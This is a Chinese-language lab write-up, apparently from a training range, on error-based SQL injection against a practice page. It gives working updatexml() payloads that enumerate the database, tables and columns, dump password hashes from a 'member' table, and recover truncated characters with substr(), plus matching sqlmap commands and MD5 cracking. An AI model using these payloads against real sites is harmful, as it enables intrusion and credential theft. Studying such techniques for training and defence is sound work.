web安全-SQL注入漏洞测试(报错盲注)

1.寻找注入点        

        当我们闭合了第一个参数后有明显的报错信息,我们就可以考虑基于报错的注入了

        http://219.153.49.228:41801/new_list.php?id=1

        web安全-SQL注入漏洞测试(报错盲注)

2.报错注入-报错回显

        参考:https://www.jianshu.com/p/bc35f8dd4f7c ;                https://blog.csdn.net/Kevinhanser/article/details/81592866

手动注入

1.爆破数据库

查看数据库名字,本来想用union查询,但是当前网站过滤掉了union,这里用到了updatexml()函数的报错回显功能,会把信息显示在页面中。然后也用到了concat()函数,是连接两个字符串的。

?id=1‘ and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1) --+

?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

web安全-SQL注入漏洞测试(报错盲注)

2. 有了数据库名字就可以开始爆表了(通过information_schema数据库)

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),0x7e),1) --+

web安全-SQL注入漏洞测试(报错盲注)

3.爆破字段

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'),0x7e),1) --+

web安全-SQL注入漏洞测试(报错盲注)4。爆破密码,用户

and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1) --+ 

 and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1) --+ 

 web安全-SQL注入漏洞测试(报错盲注)

web安全-SQL注入漏洞测试(报错盲注) 

注意:这里只获得了31位密码,其实password字段里面的数据是有32位的,只是没显示那么多,所以下面要用substr()去单独获取password字段的最后一位数

and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1) --+ 

and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1) --+ 

web安全-SQL注入漏洞测试(报错盲注)

web安全-SQL注入漏洞测试(报错盲注)

然后密码拿去MD5网站解码(https://www.cmd5.com/) 

 工具扫描(sqlmap)

清理sqlmap缓存:python sqlmap.py --purge
可以直接用sqlmap扫 
1.爆数据库 sqlmap -u url --dbs 
2.爆表 sqlmap.py -u url -D 数据库 -tables 
3.爆字段名 sqlmap.py -u url -D 数据库 -T 表 columns 
4.爆字段值 sqlmap.py -u url -D 数据库 -T 表 -C name,password,status  
5.之后使用md5解密即可

上一篇:SQL注入显错注入-HEAD1


下一篇:Mysql报错注入